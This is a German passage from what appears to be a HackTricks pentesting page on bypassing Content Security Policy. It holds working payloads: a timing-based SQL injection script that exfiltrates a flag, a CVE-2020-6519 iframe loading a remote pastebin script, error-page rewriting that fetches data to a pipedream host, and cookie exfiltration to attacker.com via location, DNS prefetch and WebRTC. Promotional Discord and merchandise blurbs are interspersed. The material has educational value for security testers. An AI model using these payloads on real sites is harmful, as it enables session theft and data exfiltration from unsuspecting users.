return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Über Bookmarklets

Dieser Angriff würde eine gewisse soziale Manipulation erfordern, bei der der Angreifer den Benutzer dazu überredet, einen Link über das Bookmarklet des Browsers zu ziehen und abzulegen. Dieses Bookmarklet würde bösartigen JavaScript-Code enthalten, der beim Ziehen und Ablegen oder Anklicken im Kontext des aktuellen Webfensters ausgeführt wird, wodurch die CSP umgangen wird und es möglich ist, sensible Informationen wie Cookies oder Tokens zu stehlen.

Weitere Informationen finden Sie in dem ursprünglichen Bericht hier.

CSP-Umgehung durch Einschränkung der CSP

In diesem CTF-Writeup wird die CSP umgangen, indem in einem erlaubten iframe eine restriktivere CSP eingefügt wird, die das Laden einer bestimmten JS-Datei untersagt. Diese Datei ermöglicht dann über Prototyp-Verschmutzung oder DOM-Überschreibung das Ausnutzen eines anderen Skripts zum Laden eines beliebigen Skripts.

Sie können eine CSP eines Iframes mit dem Attribut csp einschränken:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

In diesem CTF-Writeup war es möglich, über HTML-Injection eine CSP weiter einzuschränken, sodass ein Skript, das CSTI verhindert, deaktiviert wurde und somit die Schwachstelle ausnutzbar wurde.
CSP kann mit Hilfe von HTML-Meta-Tags restriktiver gestaltet werden und Inline-Skripte können deaktiviert werden, indem der Eintrag entfernt wird, der ihre Nonce erlaubt, und spezifische Inline-Skripte über sha aktiviert werden:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS-Exfiltration mit Content-Security-Policy-Report-Only

Wenn es Ihnen gelingt, den Server dazu zu bringen, mit dem Header Content-Security-Policy-Report-Only zu antworten und einen von Ihnen kontrollierten Wert zurückzugeben (vielleicht aufgrund eines CRLF), könnten Sie ihn auf Ihren Server verweisen lassen. Wenn Sie den JS-Inhalt, den Sie exfiltrieren möchten, mit <script> umschließen und da unsafe-inline höchstwahrscheinlich nicht durch die CSP erlaubt ist, wird dies einen CSP-Fehler auslösen und ein Teil des Skripts (der die sensiblen Informationen enthält) wird vom Content-Security-Policy-Report-Only an den Server gesendet.

Für ein Beispiel schauen Sie sich dieses CTF-Writeup an.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Informationen mit CSP und Iframe leaken

Es wird ein iframe erstellt, das auf eine URL verweist (nennen wir sie https://example.redirect.com), die von CSP erlaubt ist.
Diese URL leitet dann auf eine geheime URL (z.B. https://usersecret.example2.com) weiter, die nicht von CSP erlaubt ist.
Durch das Abhören des securitypolicyviolation-Ereignisses kann die Eigenschaft blockedURI erfasst werden. Diese Eigenschaft enthüllt die Domain der blockierten URI und leakt somit die geheime Domain, zu der die ursprüngliche URL weitergeleitet wurde.

Interessanterweise haben Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen beim Umgang mit Iframes in Bezug auf CSP, was zu potenziellen Lecks sensibler Informationen aufgrund von undefiniertem Verhalten führen kann.

Eine andere Technik besteht darin, das CSP selbst auszunutzen, um die geheime Subdomain zu ermitteln. Diese Methode basiert auf einem binären Suchalgorithmus und passt das CSP an, um bestimmte Domains einzuschließen, die absichtlich blockiert sind. Wenn die geheime Subdomain beispielsweise aus unbekannten Zeichen besteht, können verschiedene Subdomains iterativ getestet werden, indem die CSP-Direktive geändert wird, um diese Subdomains zu blockieren oder zuzulassen. Hier ist ein Codeausschnitt, der zeigt, wie das CSP eingerichtet werden könnte, um diese Methode zu erleichtern:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Durch Überwachung, welche Anfragen von der CSP blockiert oder erlaubt werden, kann man die möglichen Zeichen in der geheimen Subdomain eingrenzen und schließlich die vollständige URL aufdecken.

Beide Methoden nutzen die Feinheiten der CSP-Implementierung und des Verhaltens in Browsern aus und zeigen, wie scheinbar sichere Richtlinien versehentlich sensible Informationen preisgeben können.

Trick von hier.

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking Insights
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.

Echtzeit-Hack-News
Bleiben Sie mit den schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert.

Treten Sie uns bei Discord bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!

Unsichere Technologien zur Umgehung der CSP

Überlastung des PHP-Antwortpuffers

PHP ist dafür bekannt, standardmäßig die Antwort auf 4096 Bytes zu puffern. Daher wird, wenn PHP eine Warnung anzeigt, durch Bereitstellung von ausreichend Daten innerhalb der Warnungen die Antwort vor dem CSP-Header gesendet, wodurch der Header ignoriert wird.
Die Technik besteht dann im Wesentlichen darin, den Antwortpuffer mit Warnungen zu füllen, damit der CSP-Header nicht gesendet wird.

Idee von diesem Writeup.

Fehlerseite umschreiben

Aus diesem Writeup geht hervor, dass es möglich war, einen CSP-Schutz zu umgehen, indem eine Fehlerseite (potenziell ohne CSP) geladen und ihr Inhalt umgeschrieben wurde.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + Wordpress

SOME ist eine Technik, die eine XSS (oder stark eingeschränkte XSS) in einem Endpunkt einer Seite ausnutzt, um andere Endpunkte derselben Herkunft zu missbrauchen. Dies geschieht, indem der verwundbare Endpunkt von einer Angreiferseite geladen und dann die Angreiferseite zum echten Endpunkt in derselben Herkunft aktualisiert wird, den Sie missbrauchen möchten. Auf diese Weise kann der verwundbare Endpunkt das opener-Objekt im Payload verwenden, um auf den DOM des echten Endpunkts zuzugreifen und ihn zu missbrauchen. Weitere Informationen finden Sie unter:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Darüber hinaus verfügt Wordpress über einen JSONP-Endpunkt in /wp-json/wp/v2/users/1?_jsonp=data, der die gesendeten Daten in der Ausgabe widerspiegelt (mit der Einschränkung, dass nur Buchstaben, Zahlen und Punkte erlaubt sind).

Ein Angreifer kann diesen Endpunkt missbrauchen, um einen SOME-Angriff gegen Wordpress zu generieren und ihn in <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> einzubetten. Beachten Sie, dass dieses Skript geladen wird, weil es von 'self' erlaubt ist. Darüber hinaus und weil Wordpress installiert ist, könnte ein Angreifer den SOME-Angriff über den verwundbaren Callback-Endpunkt missbrauchen, der die CSP umgeht, um einem Benutzer mehr Privilegien zu geben, ein neues Plugin zu installieren... Weitere Informationen dazu, wie dieser Angriff durchgeführt wird, finden Sie unter https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP-Exfiltration-Bypasses

Wenn eine strenge CSP vorhanden ist, die es Ihnen nicht erlaubt, mit externen Servern zu interagieren, gibt es einige Dinge, die Sie immer tun können, um die Informationen zu exfiltrieren.

Location

Sie können einfach die Location aktualisieren, um dem Server des Angreifers die geheimen Informationen zu senden:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta-Tag

Sie können eine Weiterleitung durch das Einfügen eines Meta-Tags vornehmen (dies ist lediglich eine Weiterleitung, es werden keine Inhalte preisgegeben).

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS-Vorabberechnung

Um Seiten schneller zu laden, werden Browser Hostnamen in IP-Adressen vorab auflösen und zwischenspeichern.
Sie können einen Browser anweisen, einen Hostnamen mit <link reol="dns-prefetch" href="something.com"> vorab aufzulösen.

Sie könnten dieses Verhalten missbrauchen, um sensible Informationen über DNS-Anfragen zu exfiltrieren:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Eine andere Möglichkeit:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Um dies zu vermeiden, kann der Server den HTTP-Header senden:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Anscheinend funktioniert diese Technik nicht in headless Browsern (Bots). {% endhint %}

WebRTC

Auf mehreren Seiten kann man lesen, dass WebRTC die connect-src-Richtlinie des CSP nicht überprüft.

Tatsächlich können Informationen durch eine DNS-Anfrage "geleakt" werden. Schau dir diesen Code an:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Eine weitere Option:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Überprüfen von CSP-Richtlinien online

Automatisches Erstellen von CSP

https://csper.io/docs/generating-content-security-policy

Referenzen

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking Insights
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.

Echtzeit-Hack-News
Bleiben Sie mit den neuesten Nachrichten und Erkenntnissen aus der schnelllebigen Hacking-Welt auf dem Laufenden.

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert.

Treten Sie uns bei Discord bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.

README.md Unescape Escape

Content Security Policy (CSP) Bypass

Was ist CSP

Header

Ressourcen definieren

Direktiven

Quellen

Unsichere CSP-Regeln

'unsafe-inline'

self + 'unsafe-inline' über Iframes

'unsafe-eval'

strict-dynamic

Wildcard (*)

Fehlendes object-src und default-src

Datei-Upload + 'self'

Drittanbieter-Endpunkte + ('unsafe-eval')

Payloads mit Angular + einer Bibliothek mit Funktionen, die das window-Objekt zurückgeben (siehe diesen Beitrag):

Missbrauch des Google reCAPTCHA JS-Codes

Drittanbieter-Endpunkte + JSONP

Missbrauch von Drittanbietern

Content Security Policy (CSP) Bypass

Bypassing CSP using Inline Event Handlers

Bypassing CSP using Data URIs

Bypassing CSP using Trusted Domains

Conclusion

Umgehung über RPO (Relative Path Overwrite)

Ausführung von Iframes-JavaScript

Fehlendes base-uri

AngularJS Ereignisse

AngularJS und whitelistete Domäne

Umgehung über Umleitung

Umgehung von CSP mit hängendem Markup

'unsafe-inline'; img-src *; über XSS

Mit Service Workern

Policy Injection

Chrome

Edge

img-src *; über XSS (iframe) - Time-Angriff

Über Bookmarklets

CSP-Umgehung durch Einschränkung der CSP

JS-Exfiltration mit Content-Security-Policy-Report-Only

CVE-2020-6519

Informationen mit CSP und Iframe leaken

Unsichere Technologien zur Umgehung der CSP

Überlastung des PHP-Antwortpuffers

Fehlerseite umschreiben

SOME + 'self' + Wordpress

CSP-Exfiltration-Bypasses

Location

Meta-Tag

DNS-Vorabberechnung

WebRTC

Überprüfen von CSP-Richtlinien online

Automatisches Erstellen von CSP

Referenzen

README.md

Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben (siehe diesen Beitrag):